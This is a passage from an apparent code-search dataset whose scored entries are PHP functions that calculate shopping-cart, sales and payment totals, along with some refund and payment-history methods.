100);\n\t\t\t\t\t\t$this->total = $total_currency - $this->benefit;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif (strpos($this->benefits_sale, \"%\") && !strpos($this->benefits_sale, \"€\")) {\n\t\t\tif (!strpos($this->benefits_sale, \"-\")) {\n\t\t\t\tpreg_match('/[+](.*?)%/', $this->benefits_sale, $output_percent);\n\t\t\t\t$this->benefit = $this->subtotal * ($output_percent[1] / 100);\n\t\t\t\t$this->total = $this->subtotal + $this->benefit;\n\t\t\t} else {\n\t\t\t\tpreg_match('/[-](.*?)%/', $this->benefits_sale, $output_percent);\n\t\t\t\t$this->benefit = $this->subtotal * ($output_percent[1] / 100);\n\t\t\t\t$this->total = $this->subtotal - $this->benefit;\n\t\t\t}\n\t\t} elseif (!strpos($this->benefits_sale, \"%\") && strpos($this->benefits_sale, \"€\")) {\n\t\t\tif (!strpos($this->benefits_sale, \"-\")) {\n\t\t\t\tpreg_match('/[+](.*?)€/', $this->benefits_sale, $output_currency);\n\t\t\t\t$this->benefit = $output_currency[1] * $this->quantity;\n\t\t\t\t$this->total = $output_currency[1];\n\t\t\t} else {\n\t\t\t\tpreg_match('/[-](.*?)€/', $this->benefits_sale, $output_currency);\n\t\t\t\t$this->benefit = $output_currency[1] * $this->quantity;\n\t\t\t\t$this->total = $this->subtotal - $output_currency[1];\n\t\t\t}\n\t\t}\n\t\treturn $this->total;\n\t}", "title": "" }, { "docid": "5dbd6faae597ed087482d58b9b0c6284", "score": "0.6385995", "text": "public function getCostoTotalItem()\n\t{\n\t\tif (!isset($_POST['cantidad'], $_POST['clave'], $_POST['idCosto']))\n\t\t{\n\t\t\t$this->json = \"\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$evento = $this->model->getEvento($this->sess->get('id_evento'));\n\t\t\t$clave = $_POST['clave'];\n\t\t\t$idCosto = $_POST['idCosto'];\n\t\t\t$cantidad = $_POST['cantidad'];\n\n\t\t\t$costo = $this->evt->getCostoItem($clave, $idCosto, $evento->evt_idEvento);\n\n\t\t\tif (empty($cantidad) || empty($clave) || empty($idCosto))\n\t\t\t{\n\t\t\t\t$this->json = \"\";\n\t\t\t}\n\t\t\telse if (is_numeric($cantidad))\n\t\t\t{\n\t\t\t\t$total = $costo->costo * $cantidad;\n\t\t\t\t$this->json = $this->func->moneda2screen($total);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->json = \"\";\n\t\t\t}\n\t\t}\n\n\t\techo $this->json;\n\t}", "title": "" }, { "docid": "38b6f935b05c66d02b4c7d2d836753a9", "score": "0.6380705", "text": "public function total() {\n\n if (!empty($this->cart_list)) { //if Cart is not empty\n foreach ($this->cart_list as $cart_product_obj) {\n \n $cart_product = $cart_product_obj->cart_product;\n\n $total = 0;\n if ($cart_product->group_units > 1 && $cart_product_obj->product_count > 1) {//if grouped price is given and product count is greater than one\n $total = (intval($cart_product_obj->product_count % $cart_product->group_units) * $cart_product->price_per_unit) + (intval($cart_product_obj->product_count / $cart_product->group_units) * $cart_product->group_price);\n } else {\n $total = ($cart_product->price_per_unit * $cart_product_obj->product_count);\n }\n\n $this->cart_total += $total;\n }\n }\n\n return number_format($this->cart_total,2);\n }", "title": "" }, { "docid": "97328a998f89138573d0f900e13c96eb", "score": "0.6370207", "text": "public function VerTotalCompra($carrito){\n\t\t$this->totalCompra = 0;\n\t\tif(empty($carrito)){\n\t\t\t$this->totalCompra = 0;\n\t\t}else{\n\t\t\tforeach ($carrito as $ref => $unidades) {\n\t\t\t\t$this->con = new Conexion();\n\t\t\t\t$car = $this->con->EjecutarQuery(\"call spListarProductos($ref,0,\\\"0\\\")\");\n\t\t\t\t$res = $this->con->NumeroRows($car);\n\t\t\t\t\n\t\t\t\tif(!empty($res) and $res > 0){\n\t\t\t\t\twhile($row = $car->fetch_array()){\n\t\t\t\t\t\t$this->totalCompra += $row['PRECIO_VENTA']*$unidades;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $this->totalCompra;\n\t}", "title": "" }, { "docid": "7ed0b2ea1b1654822595b71174c83723", "score": "0.6362124", "text": "function montant_total()\n{\n $total = 0;\n\n for ($i = 0; $i < count($_SESSION[\"commande\"][\"id_panier\"]); $i++) {\n $total += $_SESSION[\"commande\"][\"prix_panier\"][$i] * $_SESSION[\"commande\"][\"quantite\"][$i];\n }\n\n return $total;\n}", "title": "" }, { "docid": "79699b14ffbacc9a2330958205261bc6", "score": "0.63599855", "text": "public function getTotalPaid();", "title": "" }, { "docid": "f7cfd057ccca17da6d77e16c13bc0f3b", "score": "0.63592416", "text": "public function total($token);", "title": "" }, { "docid": "27340c9c10136415d7313a35e26b63cc", "score": "0.6355379", "text": "public function total()\n {\n return $this->priceRule->calculateTotal($this->goods);\n }", "title": "" }, { "docid": "73b92a532ca24dd01c54291b44af83d5", "score": "0.63550407", "text": "public function GetTotal()\n\t {\n\t\t if($this->sum > 1)\n\t\t {\n\t\t \t return $this->sum;\n\t\t } else if($this->sum == 1) {\n\t\t\t return \"<b>Du slog en etta och din poäng återställs</b>\";\n\t\t\t InitRound();\n\t\t }\n\t }", "title": "" }, { "docid": "0e8c4b2f3940df14b2bd8bb4c230f183", "score": "0.6353886", "text": "public function getTotalPrice();", "title": "" }, { "docid": "0e8c4b2f3940df14b2bd8bb4c230f183", "score": "0.6353886", "text": "public function getTotalPrice();", "title": "" }, { "docid": "7937754710fbd2fd86abd3d18dc7133e", "score": "0.63488096", "text": "function total() {\n\t\t$sql = \"\n\t\t\tSELECT SUM(total) as totalbiaya FROM penukaran \n\t\t\tWHERE tanggal_penukaran >= '\".date(\"Y-m-d\").\"' AND tanggal_penukaran <= '\".date(\"Y-m-d\").\"'\n\t\t\tORDER BY tanggal_penukaran ASC\"; \n\t\t\n\t\t$query = $this->db->query($sql);\n\t\t$row = $query->row();\n\t\treturn $row->totalbiaya;\n\t}", "title": "" }, { "docid": "af7ab98c4afab0cf46ac43bf43d3a63b", "score": "0.6348715", "text": "public function getTotal()\n {\n return $this->_total;\n }", "title": "" }, { "docid": "278612d49703c2fb86dfa8c81a1e907c", "score": "0.6348164", "text": "public function countTotal()\n\t{\n\t\t$total = $this->money;\n\t\t$gold = $this->gold();\n\t\tif (isset($gold)){\n\t\t\t$total = $total->add($gold->price()->mul($gold->amount()));\n\t\t}\n\t\treturn $total;\n\t}", "title": "" }, { "docid": "5d44182cda8da1b107dc096ebd5ba090", "score": "0.63461775", "text": "function ajax__calcular($parametros, toba_ajax_respuesta $respuesta)\n\t{\n\t\t//--- Calculo el valor total en base a las fechas y el valor diario\n\t\t$fecha1 = toba_fecha::desde_pantalla($parametros['fecha_inicio']);\n\t\t$fecha2 = toba_fecha::desde_pantalla($parametros['fecha_fin']);\n\t\t$cant_dias = $fecha1->diferencia_dias($fecha2);\n\t\t$total = $cant_dias * $parametros['valor_diario'];\n\t\t\n\t\t//-- Paso la información a JS\n\t\t$respuesta->set(array($cant_dias, $total));\n\t}", "title": "" }, { "docid": "ffe4502b21dc8e2deaa50917b9de284b", "score": "0.6335627", "text": "public function getGrandTotal();", "title": "" }, { "docid": "bd4673729f78fe9bb04dffd2e23292fe", "score": "0.6328523", "text": "public function getGrandTotal()\n {\n }", "title": "" }, { "docid": "e5471ac08ae69be022be4195034a0c75", "score": "0.63272655", "text": "public function sglgj_total(){\n\t\t$sql = \"\n\t\tSelect\n\t\tsum(gj_trans_dr) as totdr,\n\t\tsum(gjt.gj_trans_cr) as totcr\n\t\tfrom tb_journal_gj_trans gjt\n\t\tinner join tb_journal_gj gj on gjt.gj_id=gj.gj_id\n\t\twhere gj.project_id=\".$this->session->userdata('project_id').\"\n\t\t\";\n\t\t$data = $this->db->query($sql);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "ac3dc2865b90a344cf024d9de7432cc5", "score": "0.6325039", "text": "public function getValorTotal() {\n return $this->nValorTotal;\n }", "title": "" }, { "docid": "76d2b7dd196185cdc72b2f4102f7a677", "score": "0.63226014", "text": "public function calculateTotals()\n {\n $totals = [];\n $numEmployees = 0;\n\n /* @var DivisionStatistic $division */\n foreach($this->getDivisions() as $divisionId => &$division) {\n $divisionStatistic = $division->getStatistic();\n foreach ($divisionStatistic->getStatistic() as $key => $value) {\n $totals[$key] = (isset($totals[$key]) ? $totals[$key] : 0) + $value;\n }\n $numEmployees += ($divisionStatistic->getNumEmployees());\n }\n\n $this->numEmployees = $numEmployees;\n\n $this->calculateRelativeTotalValues($totals);\n\n $this->totals = $totals;\n\n $this->updateStandards();\n }", "title": "" }, { "docid": "843fee5fbbc032860584542f25ce722a", "score": "0.631947", "text": "public function getTotal()\n\t{\n\t\tif (!isset($this->total))\n\t\t{\n\t\t\t$this->getItems();\n\t\t}\n\t\treturn $this->total; \n\t}", "title": "" }, { "docid": "00893a90c1350184201a84caf40b8835", "score": "0.6319289", "text": "static public function mdlSumaTotalVentas($tabla){\t\n\n\t\t$stmt = Conexion::conectar()->prepare(\"SELECT SUM(neto) as total FROM $tabla\");\n\n\t\t$stmt -> execute();\n\n\t\treturn $stmt -> fetch();\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "title": "" }, { "docid": "d57af6fecfdf808fb91fff0f76b36c0f", "score": "0.6318904", "text": "public function total() {\n return $this->total;\n }", "title": "" }, { "docid": "b12af03afecc61857fa760eb4337b79a", "score": "0.63179857", "text": "static public function revenu_total(){\n global $con;\n \n $query = $con->query(\" SELECT valeur\n FROM statistiques\n WHERE type = 'revenu total' \");\n $row = $query->fetch_row();\n if($row[0] == null)\n return 0;\n return $row[0];\n }", "title": "" }, { "docid": "f4babe1305cfa097d0c67533eb8027e9", "score": "0.6317765", "text": "function subtotal($pdf, $concepto) {\n global $suma;\n $x = $pdf->GetY();\n $pdf->Line(10, $x, 205, $x);\n $pdf->SetX(135);\n $pdf->Cell(35, 10, \"Subtotal $concepto\", 'R',0, 'C');\n $pdf->Cell(35,10, number_format(array_sum($suma), 2,',','.').chr(128),1, 1, 'C');\n $subtotal = array_sum($suma);\n $suma = array();\n return $subtotal;\n}", "title": "" }, { "docid": "bb2dd44e85a640724729d34f579ccd57", "score": "0.63148034", "text": "public function getTotal()\r\n {\r\n $total = 0;\r\n foreach ($this->items as $item)\r\n {\r\n $total += $item->price;\r\n }\r\n return $total;\r\n }", "title": "" }, { "docid": "fd63295ebe0faad35d3b9189cadf21cc", "score": "0.63146335", "text": "public function getTotal(): float\n {\n return $this->getItemsSubtotal() + $this->getAddOnsSubtotal() - $this->getTotalDiscount();\n }", "title": "" }, { "docid": "d63fc279c9d20f5e6515f60d2d02d467", "score": "0.6311498", "text": "public function getSubtotal();", "title": "" }, { "docid": "3bf8f9a47983a9a1f5804456df0a0af0", "score": "0.6310519", "text": "function montant_total()\n{\n $total = 0;\n \n $nb_produit = count($_SESSION['panier']['id_produit']);\n \n for($i = 0; $i < $nb_produit; $i++)\n {\n $total += $_SESSION['panier']['quantite'][$i] * $_SESSION['panier']['prix'][$i];\n }\n return round($total, 2);\n}", "title": "" }, { "docid": "d200d7db355782ae4545ccab2cd7e2b5", "score": "0.63068986", "text": "public static function MontoTotalVentas()\n {\n $objetoAccesoDato = AccesoDatos::dameUnObjetoAcceso();\n $consulta = $objetoAccesoDato->RetornarConsulta(\"SELECT (v.cantidad * p.precio) AS TotalMonto ,p.codigo,p.nombre FROM venta v INNER JOIN \n producto p ON v.id_producto = p.id\");\n\n if ($consulta->execute()) {\n return $consulta->fetchAll(PDO::FETCH_OBJ);\n } else {\n echo 'err';\n }\n }", "title": "" } ]
2c849e23372805453d4d5e273adcbc0e
/ skm end / This method get the previous record of payment refund of company for activity log skm start
[ { "docid": "371feb386bd3825e2387989fac66f2c1", "score": "0.6015795", "text": "public function get_last_comp_payment_refund($invoice_id){\n $this->db->select('er.invoice_id,er.refund_on,er.refund_type,er.mode_of_refund,er.othr_mode_of_refund,er.amount_refund,'\n . 'er.sfc_claimed,er.other_amount_refund,er.cheque_number,er.cheque_date,er.bank_name,er.refnd_reason,er.refnd_reason_ot,'\n . 'er.refund_by,er.trigger_date');\n $this->db->from('enrol_refund er');\n $this->db->where('er.invoice_id',$invoice_id);\n $this->db->order_by('er.trigger_date','desc');\n $this->db->limit(1);\n $res = $this->db->get();\n// echo $this->db->last_query();\n // echo $res->num_rows();\n// echo\"<br/>\";echo\"<br/>\";\n if($res->num_rows()>0)\n {\n $data['company_details'] = $res->row();\n// $date = $data['company_details']->refund_on;\n $date = $data['company_details']->trigger_date;\n $data['details'] = $this->get_company_refund_breakup_dt($invoice_id,$date);\n return $data;\n }else{\n return $res=0;\n }\n\n }", "title": "" } ]
[ { "docid": "a6139fd4759c8589cab7a6b1e09adc23", "score": "0.5814096", "text": "public function get_last_comp_payment_update($invoice_id){\n $this->db->select('epr.invoice_id,epr.recd_on,epr.sfc_recd_on,epr.mode_of_pymnt,epr.othr_mode_of_payment'\n . ',epr.amount_recd as total_paid_amount,epr.sfc_claimed,epr.other_amount_recd,epr.cheque_number,epr.cheque_date,'\n . 'epr.bank_name,epr.recd_by,epr.trigger_date');\n $this->db->from('enrol_paymnt_recd epr');\n $this->db->join('enrol_pymnt_brkup_dt epbt','epr.invoice_id = epbt.invoice_id and epr.recd_on = epbt.recd_on');\n $this->db->where('epr.invoice_id',$invoice_id);\n $this->db->order_by('epr.recd_on','desc');\n $this->db->limit(1);\n $res = $this->db->get();\n// echo $this->db->last_query(); echo \"<br/>\";\n if($res->num_rows()>0)\n {\n $data['company_details'] = $res->row();\n $date = $data['company_details']->recd_on;\n $data['details'] = $this->get_company_breakup_dt($invoice_id,$date);\n return $data;\n }else{\n return $res = 0;\n }\n\n }", "title": "" }, { "docid": "dee74f816945ad80562cc50b9be1a7d9", "score": "0.57913846", "text": "public function history(){\n $arrStatus = [\n 'All Status' => -1,\n 'Processing...' => 'process',\n 'Success' => 'success',\n 'Cancelled' => 'cancel',\n 'Paid' => 'paid'\n ];\n $this->dataPage['arrStatus'] = $arrStatus;\n\n $params = Input::all();\n\n $start = isset($params['start']) ? $params['start'] : null;\n $end = isset($params['end']) ? $params['end'] : null;\n $slStatus = isset($params['slStatus']) ? $params['slStatus'] : -1;\n\n $this->dataPage['slStatus'] = $slStatus;\n $this->dataPage['start'] = $start;\n $this->dataPage['end'] = $end;\n\n $page = isset($params['page']) ? $params['page'] : 1;\n $itemOnePage = 10;\n // $itemOnePage = 3;\n $offset = $page == 1 ? 0 : $itemOnePage * ($page - 1);\n $this->dataPage['currentPage'] = $page;\n\n $filter = [\n 'userId' => $this->dataPage['user']['id'],\n 'c_limit' => $itemOnePage,\n 'c_offset' => $offset\n ];\n if($start)\n $filter['startDate'] = $start;\n if($end)\n $filter['endDate'] = $end;\n if($slStatus != -1)\n $filter['status'] = $slStatus;\n\n $transactionHistory = $this->dataPage['transactionHistory'] = $this->_submitHTTPPost(config('config.api_url')\n . 'cashBack/transactionHistory/', $filter);\n\n $this->dataPage['transHis'] = $transactionHistory['data'];\n\n $this->dataPage['currentTotalOrderPaid'] = 0;\n $this->dataPage['currentTotalOrderCashback'] = 0;\n if(count($transactionHistory['data']['orders']['rows'])){\n foreach ($transactionHistory['data']['orders']['rows'] as $key => $value) {\n $this->dataPage['currentTotalOrderPaid'] += $value['saleAmount'];\n $this->dataPage['currentTotalOrderCashback'] += $value['cashBack'];\n }\n }\n\n $this->dataPage['pageList'] = ceil($this->dataPage['transHis']['orders']['count'] / $itemOnePage);\n\n\n $this->dataPage['currentTotal'] = $itemOnePage * $page;\n if($this->dataPage['transHis']['orders']['count'] < $this->dataPage['currentTotal']){\n $this->dataPage['currentTotal'] = $this->dataPage['transHis']['orders']['count'];\n }\n\n $this->dataPage['transStatus'] = [\n 'processing' => 'process',\n 'success' => 'success',\n 'cancelled' => 'cancel',\n 'paid' => 'paid'\n ];\n $this->dataPage['transStatusText'] = [\n 'Processing...' => 'process',\n 'Success!' => 'success',\n 'Cancelled' => 'cancel',\n 'Paid' => 'paid'\n ];\n $this->dataPage['descriptionStatus'] = [\n \"\" => 'process',\n \"\" => 'success',\n \"\" => 'cancel',\n \"\" => 'paid',\n \"\" => 'descBigScreen',\n \"\" => 'descSmallScreen'\n ];\n\n $data = array_merge($this->dataPage, $this->data);\n return view('profile.v2-cash-back-history')->with($data);\n }", "title": "" }, { "docid": "43c1615c68177c15f93644f7aa5242b5", "score": "0.57474476", "text": "public function refund()\n {\n }", "title": "" }, { "docid": "a88d61b7d8974b9727cf7e3f74fd581c", "score": "0.566855", "text": "function _set_prev_record() {\n // find the previous record (id) that has body info.\n $query = db_select($this->timeline_table, 't');\n $prevRow = $query\n ->fields('t', array('recordDate'))\n ->condition('recordDate', $this->recordDate, '<')\n ->condition('status', 'DELETE', '!=')\n ->orderBy('recordDate', 'ASC')\n ->execute()\n ->fetchAssoc();\n $prevDate = $prevRow['recordDate'];\n $this->prevDate = $prevDate;\n }", "title": "" }, { "docid": "b0602bdeee7e5c3d61c9497fe53484fe", "score": "0.5606362", "text": "public function payment_history(Request $request){\n $get=Invoices_Sales::where(\"id\",$request->payment[\"id\"])->first();\n $a = $get->paid;\n $b= $get->due;\n Invoices_Sales::where(\"id\",$request->payment[\"id\"])->update([\n \"paid\"=>($a+$request->payment[\"paid\"]),\n \"due\"=>($b-$request->payment[\"paid\"])\n ]);\n\n $paid_date=Carbon::parse($request->payment[\"date\"])->format(\"Y-m-d H:i\");\n\n /*Calculate last balance*/\n $debt=$request->payment[ \"paid\" ];\n if($debt==null){\n $debt=0;\n }\n $get=Casings::where(\"id\",$request->payment[\"casing\"])->first();\n $total_last_balance=($get->last_balance+$debt);\n Casings::where(\"id\",$request->payment[\"casing\"])->update([\n \"last_balance\"=>$total_last_balance,\n ]);\n /*End.Calculate last balance*/\n HistoryPayment_Add::create([\n \"inv_id\"=>$request->payment[\"id\"],\n \"type_inv\"=>\"sale\",\n \"casing_id\"=> $request->payment[\"casing\"],\n \"names\"=> $request->payment[\"names\"],\n \"method\"=> $request->payment[\"method\"],\n \"last_cash_balance\" => $total_last_balance,\n \"debt\"=>$debt,\n \"paid_date\"=>$paid_date,\n ]);\n return redirect()->back()->with(\"success\",\"Ödeme Başarıyla Yapılmıştır\");\n }", "title": "" }, { "docid": "14349022fb0c376632ae35f0de93bb58", "score": "0.5575358", "text": "public function get_last_payment_refund($invoice_id){\n $this->db->select('er.*,erbt.invoice_id,erbt.user_id,erbt.refund_amount,erbt.refund_date,erbt.trigger_date as refund_date');\n $this->db->from('enrol_refund er');\n $this->db->join('enrol_refund_brkup_dt erbt','er.invoice_id = erbt.invoice_id and er.refund_on = erbt.refund_date');\n $this->db->where('er.invoice_id',$invoice_id);\n $this->db->order_by('er.refund_on','desc');\n $this->db->limit(1);\n $sql = $this->db->get();\n// echo $this->db->last_query();\n\n if($sql->num_rows()>0){\n return $sql->row();\n }else{\n\n return $sql = 0;\n \n }\n\n }", "title": "" }, { "docid": "b781f39cd26890e47b5baeca909b90f8", "score": "0.55351216", "text": "public function refundAmountCancelContest_get() {\n $CronID = $this->Football_Utility_model->insertCronLogs('refundAmountCancelContest');\n $this->Football_Sports_model->refundAmountCancelContest($CronID);\n $this->Football_Utility_model->updateCronLogs($CronID);\n }", "title": "" }, { "docid": "c871284500461ecb93a22776eb6d7f36", "score": "0.545615", "text": "protected function _prepareRefund(){\r\n\r\n $payment = $this->_service->getPayment();\r\n $order = $this->_service->getOrder();\r\n $helper = $this->_getHelper();\r\n\r\n $transaction = $payment->getTransaction($payment->getParentTransactionId());\r\n\r\n $request = array(\r\n 'attributes' => array(\r\n 'timestamp' => $helper->getTimestamp(),\r\n 'type' => 'rebate'\r\n ),\r\n 'merchantid' => array('value' => $helper->getConfigData('realex','vendor')),\r\n 'orderid' => array('value' => $this->_getTransactionData($payment,'order_id')),\r\n 'amount' => array(\r\n 'value' => $helper->formatAmount($payment->getPaymentAmount(),$order->getBaseCurrencyCode()),\r\n 'attributes' => array(\r\n 'currency' => $order->getBaseCurrencyCode(),\r\n ),\r\n ),\r\n 'ccnumber' => array('value' => ''),\r\n 'refundhash' => array('value' =>sha1($helper->getConfigData('realex','rebate_pass'))),\r\n 'autosettle' => array(\r\n 'attributes' =>\r\n array(\r\n 'flag' => '1'\r\n )\r\n ),\r\n 'pasref' => array('value' => $this->_getTransactionData($payment,'pasref')),\r\n 'authcode' => array('value' => $this->_getTransactionData($payment,'authcode'))\r\n );\r\n\r\n $sha1hash = array(\r\n $request['attributes']['timestamp'] ,\r\n $request['merchantid']['value'],\r\n $request['orderid']['value'],\r\n $request['amount']['value'],\r\n $request['amount']['attributes']['currency'],\r\n ''\r\n );\r\n\r\n $request['sha1hash'] = array('value' => $helper->generateSha1Hash($helper->getConfigData('realex','secret'),$sha1hash));\r\n\r\n $request['comments'] = $this->_addComments();\r\n\r\n $this->_message->setData(array('request'=>$request));\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "05832cd65eb543da8d71b4c9cb565a2a", "score": "0.54369086", "text": "public function restoreLead()\r\n {\r\n $id = Input::get('ID');\r\n $lead = Lead::find($id);\r\n if($lead!=null){\r\n $lead->status = 'RESTORED';\r\n $lead->save();\r\n //Create Transaction\r\n Transaction::createTransaction($lead->consultant_id, $id, '', 'RESTORE-LEAD', '', '', $lead->email, '', '', $lead->phone, '');\r\n return \"1\";\r\n }\r\n return \"-1\";\r\n }", "title": "" }, { "docid": "27289e478fd26aa2e6600e79f89a4482", "score": "0.54136014", "text": "public function oldupdatePromoHistory($booking_id,$customer_id,$total_fare){\n $promo = $this->AuthModel->getSingleRecord('promocode_history',array('booking_id'=>$booking_id,'user_id'=>$customer_id));\n if(!empty($promo)){\n $history_id = $promo->history_id;\n $rate_type = $promo->rate_type;\n $rate = $promo->rate;\n if($rate_type=='Percentage'){\n $user_earn = ($total_fare*$rate)/100;\n }else{\n $user_earn = $rate;\n }\n if($this->AuthModel->updateRecord(array('history_id'=>$history_id),'promocode_history',array('promo_earn'=>$user_earn,'status'=>1))){\n $this->AuthModel->updateRecord(array('booking_id'=>$booking_id),'booking',array('promo_earn'=>$user_earn));\n //Update promo bonus amount in CitiPay wallet\n $receiver_wallet = $this->AuthModel->getSingleRecord('wallet_balance',array('user_id'=>$customer_id));\n if(!empty($receiver_wallet)){\n $receiver_prebalance = $receiver_wallet->balance;\n $receiver_newBalance = $receiver_prebalance+$user_earn; \n\n if($transaction_id = $this->AuthModel->singleInsert('wallet_transaction',array('receiver_id'=>$customer_id,'sender_id'=>'','type'=>'cr','amount'=>$user_earn,'description'=>'Promo Code Bonus of Trip id '.$booking_id,'transaction_status'=>'Success','reciver_balance'=>$receiver_newBalance,'sender_balance'=>'','transaction_at'=>date('Y-m-d H:i:s')))) //store transaction record\n {\n $this->AuthModel->updateRecord(array('user_id'=>$customer_id),'wallet_balance',array('balance'=>$receiver_newBalance,'update_at'=>date('Y-m-d H:i:s')));//update receiver balance \n $message = \"Promotional bonus \".$user_earn.\" MMK of booking_id \".$booking_id.\" has been credited to your CitiPay Wallet\"; //for customer notification.\n $this->AuthModel->singleInsert('notifications',array('user_id'=>$customer_id,'subject'=>\"Promotional Bonus\",\"message\"=>$message,'notification_at'=>date('d-m-Y h:i A')));\n } \n else{\n $transaction_id = $this->AuthModel->singleInsert('wallet_transaction',array('receiver_id'=>$customer_id,'amount'=>$user_earn,'description'=>'Promo Code Bonus for Trip id '.$booking_id,'transaction_status'=>'Failure','reciver_balance'=>$receiver_prebalance,'transaction_at'=>date('Y-m-d H:i:s')));\n $message = \"Sorry! Promotional bonus \".$user_earn.\" MMK of booking_id \".$booking_id.\" has been failed. Please contact with support\"; \n }\n }\n }\n }\n }", "title": "" }, { "docid": "3a2619eef93075ed315e75ca00c36961", "score": "0.5411478", "text": "public function account_history(){\n if (DEBUG){\n $header = getallheaders();\n $token = explode(' ', $header['Authorization'])[1];\n if(strcmp($token, GATEWAY_HANDSHAKE_KEY) !== 0){\n //Authorization failed\n $this->response->addMessage('Gateway Handshake not successfull');\n $this->response->jsonResponse(null,403);\n }\n }\n else{\n $token = explode(' ', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'])[1];\n if(strcmp($token, GATEWAY_HANDSHAKE_KEY) !== 0){\n //Authorization failed\n $this->response->addMessage('Gateway Handshake not successfull');\n $this->response->jsonResponse(null,403);\n }\n }\n\n $account_no = $this->request->getUrlParams()->account;\n //get savings account details and initialize \n $data = $this->db->select(AccountTransaction::DB_TABLE,[\n AccountTransaction::ID,\n AccountTransaction::ACCOUNT_NO,\n AccountTransaction::CATEGORY,\n AccountTransaction::TYPE,\n AccountTransaction::AMOUNT,\n AccountTransaction::CHANNEL,\n AccountTransaction::AUTHORIZED_BY,\n AccountTransaction::STATUS,\n AccountTransaction::META,\n AccountTransaction::DATETIME,\n ],[\n AccountTransaction::ACCOUNT_NO=>$account_no,\n 'ORDER'=>[AccountTransaction::DATETIME=>\"DESC\"] \n ]);\n\n if(empty($data)){\n $this->response->addMessage('No record to display');\n $this->response->jsonResponse(null,404);\n }\n else{\n $customer = $this->get_customer($account_no);\n $customer = json_decode(@$customer['bio_data']);\n $this->response->addMeta([\n 'balance'=>$this->get_account_balance($account_no),\n 'bio_data'=>@$customer,\n ]);\n $this->response->jsonResponse($this->response->NormalizeMysqlArray($data));\n }\n }", "title": "" }, { "docid": "fdf4a1c70ef889763214bd8775bc834f", "score": "0.5372279", "text": "public function saveHistoryReturnInfo()\n {\n $quote = $this->_getQuote();\n $data['status'] = $this->_checkout->getTransactionStatus();\n $data['transaction_id'] = $this->_checkout->getIpgTxnId();\n $data['time_completed'] = $this->date->gmtDate();\n $lastPaymentHistoryId = !empty($this->_getCheckoutSession()->getLastPaymentHistoryId()) ?\n $this->_getCheckoutSession()->getLastPaymentHistoryId():\n null;\n if (!$lastPaymentHistoryId) {\n /*\n * if for some reason the last payment history id is not available, we need to fill the other fields\n * as well to recognize the order since it will be saved as a new record.\n */\n $data['order_num'] = $quote->getReservedOrderId();\n $data['payment_method'] = \\Dilmah\\Payments\\Model\\Ntb::PAYMENT_METHOD_NTB_CODE;\n $data['amount'] = $quote->getBaseGrandTotal();\n $data['time_started'] = $this->date->gmtDate();\n }\n $data['id'] = $lastPaymentHistoryId;\n\n try {\n $this->item->setData($data);\n $this->item->save();\n } catch (Exception $e) {\n $this->logger->error('SAVE PAYMENT HISTORY - FROM NTB: ' . $e->getMessage());\n $this->_getCheckoutSession()->unsLastPaymentHistoryId();\n }\n }", "title": "" }, { "docid": "2292108cc0198d6e5d45a8b959e6ac6b", "score": "0.5354076", "text": "public function executeCallhistory(sfWebRequest $request)\r\n\t{\r\n // $id = $request->getParameter('id');\r\n\r\n\r\n\t\t//$this->customer = CustomerPeer::retrieveByPK(58);\r\n\t\t$this->customer = CustomerPeer::retrieveByPK($request->getParameter('id'));\r\n\t\t$this->redirectUnless($this->customer, \"@homepage\");\r\n\r\n//\t\t$c = new Criteria();\r\n//\t\t$c->add(ZerocallCdrPeer::ANI, BaseUtil::trimMobileNumber($this->customer->getMobileNumber()));\r\n//\t\t$c->add(ZerocallCdrPeer::SOURCECTY, $this->customer->getCountry()->getCallingCode());\r\n//\t\t$c->add(ZerocallCdrPeer::USEDVALUE, 0, Criteria::NOT_EQUAL);\r\n//\t\t$c->addDescendingOrderByColumn(ZerocallCdrPeer::ANSWERTIMEB);\r\n\r\n// $unid = $this->customer->getUniqueid();\r\n// if(isset($unid) && $unid!=\"\"){\r\n// $un = new Criteria();\r\n// $un->add(CallbackLogPeer::UNIQUEID, $unid);\r\n// $un -> addDescendingOrderByColumn(CallbackLogPeer::CREATED);\r\n// $unumber = CallbackLogPeer::doSelectOne($un);\r\n\r\n\r\n $c = new Criteria();\r\n $c->add(BillingPeer::CUSTOMER_ID, $this->customer->getId());\r\n $c->addDescendingOrderByColumn(BillingPeer::TIME);\r\n\r\n\r\n\r\n//\t\t//setting filter\r\n//\t\t$this->filter = new ZerocallCdrFormFilter();\r\n//\r\n//\t\tif ($request->getParameter('zerocall_cdr_log_filters'))\r\n//\t\t{\r\n//\t\t\t$c->add($this->filter->buildCriteria($request->getParameter('zerocall_cdr_log_filters')));\r\n//\t\t\t//$this->filter->bind($request->getParameter('zerocall_cdr_log_filters'));\r\n//\t\t}\r\n\r\n\t\t//set paging\r\n\t\t$items_per_page = 25; //shouldn't be 0\r\n\t\t$this->page = $request->getParameter('page');\r\n if($this->page == '') $this->page = 1;\r\n\r\n $pager = new sfPropelPager('Billing', $items_per_page);\r\n $pager->setPage($this->page);\r\n\r\n $pager->setCriteria($c);\r\n\r\n $pager->init();\r\n\r\n $this->callRecords = $pager->getResults();\r\n $this->total_pages = $pager->getNbResults() / $items_per_page;\r\n\r\n\t}", "title": "" }, { "docid": "5f5b73daeb9b02fceee12d7e2cbcd5ea", "score": "0.5318676", "text": "public function rollback()\n {\n $this->ballot_cast = 0;\n $this->ballot_time = null;\n $this->signature = '';\n\n return $this->save();\n }", "title": "" }, { "docid": "82b817fe43927c57fd1bc40df3ccc06f", "score": "0.5287544", "text": "public function get_last_payment_update($invoice_id){\n $this->db->select('epr.*,epbt.invoice_id,epbt.user_id,epbt.amount_recd,epbt.recd_on,epbt.trigger_date');\n $this->db->from('enrol_paymnt_recd epr');\n $this->db->join('enrol_pymnt_brkup_dt epbt','epr.invoice_id = epbt.invoice_id and epr.recd_on = epbt.recd_on');\n $this->db->where('epr.invoice_id',$invoice_id);\n $this->db->order_by('epr.recd_on','desc');\n $this->db->limit(1);\n $sql = $this->db->get();\n \n if($sql->num_rows()>0){\n return $sql->row();\n }else{\n return $sql = 0;\n }\n }", "title": "" }, { "docid": "530c41d167c31d6e6338eea71766c324", "score": "0.5272493", 